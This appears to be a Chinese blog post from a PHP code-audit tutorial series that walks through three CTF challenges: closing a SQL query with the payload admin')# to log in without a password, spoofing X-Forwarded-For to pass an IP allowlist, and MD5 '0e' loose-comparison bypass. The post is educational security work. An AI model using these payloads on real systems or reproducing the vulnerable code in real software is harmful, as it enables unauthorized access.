PHP代码审计分段讲解(5)
11 sql闭合绕过
源代码为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | <?php if ( $_POST [user] && $_POST [pass]) { $conn = mysql_connect( "*******" , "****" , "****" ); mysql_select_db( "****" ) or die ( "Could not select database" ); if ( $conn ->connect_error) { die ( "Connection failed: " . mysql_error( $conn )); } $user = $_POST [user]; $pass = md5( $_POST [pass]); //select user from php where (user='admin')# //exp:admin')# $sql = "select user from php where (user='$user') and (pw='$pass')" ; $query = mysql_query( $sql ); if (! $query ) { printf( "Error: %s\n" , mysql_error( $conn )); exit (); } $row = mysql_fetch_array( $query , MYSQL_ASSOC); //echo $row["pw"]; if ( $row [ 'user' ]== "admin" ) { echo "<p>Logged in! Key: *********** </p>" ; } if ( $row [ 'user' ] != "admin" ) { echo ( "<p>You are not admin!</p>" ); } } ?> |
POST方式传入user和pass的值,同时连接数据库
1 2 3 4 5 6 7 8 | if ( $_POST [user] && $_POST [pass]) { $conn = mysql_connect( "*******" , "****" , "****" ); mysql_select_db( "****" ) or die ( "Could not select database" ); if ( $conn ->connect_error) { die ( "Connection failed: " . mysql_error( $conn )); } $user = $_POST [user]; $pass = md5( $_POST [pass]); |
将pass的值使用md5处理重新赋值,接着使用sql语句进行查询
1 | $sql = "select user from php where (user='$user') and (pw='$pass')" ; |
查询成功后进入判断
1 2 3 | if ( $row [ 'user' ]== "admin" ) { echo "<p>Logged in! Key: *********** </p>" ; } |
这里可以看到,登录的时候只对查询出结果里面的user进行了判断,当其的值为admin的时候,登录成功,并没有进行密码的校验
所以我们只需要闭合前面的SQL查询语句,令user=admin即可
所以payload为:
1 | admin')# |
密码输入什么都无所谓
sql语句最后变成了这样:
1 | $sql = "select user from php where (user='admin')#') and (pw='$pass')" ; |
也就是
1 | $sql = "select user from php where (user= 'admin' ) |
登录即可获取flag
12 X-Forwarded-For绕过指定IP地址
源代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | <?php function GetIP(){ if (! empty ( $_SERVER [ "HTTP_CLIENT_IP" ])) $cip = $_SERVER [ "HTTP_CLIENT_IP" ]; else if (! empty ( $_SERVER [ "HTTP_X_FORWARDED_FOR" ])) $cip = $_SERVER [ "HTTP_X_FORWARDED_FOR" ]; else if (! empty ( $_SERVER [ "REMOTE_ADDR" ])) $cip = $_SERVER [ "REMOTE_ADDR" ]; else $cip = "0.0.0.0" ; return $cip ; } $GetIPs = GetIP(); if ( $GetIPs == "1.1.1.1" ){ echo "Great! Key is *********" ; } else { echo "错误!你的IP不在访问列表之内!" ; } ?> |
第一次遇到伪造IP的题目是在BugKu的做题平台上,这里的代码使用HTTP头里面的IP信息来进行IP访问列表的判断,而HTTP头的信息是可以通过我们抓包改变的。
这里我们跟题目一样,使用X_FORWARDED_FOR来进行IP的伪造
在请求头里面添加:X-Forwarded-For: 1.1.1.1
即可获取flag
13 md5加密相等绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <?php $md51 = md5( 'QNKCDZO' ); $a = @ $_GET [ 'a' ]; $md52 = @md5( $a ); if (isset( $a )){ if ( $a != 'QNKCDZO' && $md51 == $md52 ) { echo "nctf{*****************}" ; } else { echo "false!!!" ; }} else { echo "please input a" ;} ?> |
将 QNKCDZO MD5加密后,使用GET方式传入a的值,将a进行MD5加密,获取flag的条件为:
1 | if ( $a != 'QNKCDZO' && $md51 == $md52 ) { |
传入的a不能为QNKCDZO,有需要令两者的md5加密后的值相等,这里需要用到MD5碰撞的知识
我们重新梳理一遍代码
1 | $md51 = md5( 'QNKCDZO' ); |
获得的md51的值为
1 | 0e830400451993494058024219903391 |
有意思的地方在于,这串字符串转换成为数字的话,按照科学计数法,它是0的830400451993494058024219903391次方,虽然看上去很大,但是由于底数为0,所以结果也是0,而比较两个md5值的时候是
1 | $md51 == $md52 |
两个等号时会先进行类型转换,所以我们只需要找到一个md5值也是0e开头的字符串即可,这样它的md5加密结果科学计数法也会是0
当然这个也不需要找了,因为已经有大佬找好了:
https://blog.csdn.net/qq_38603541/article/details/97108663
获得flag
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/13254459.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!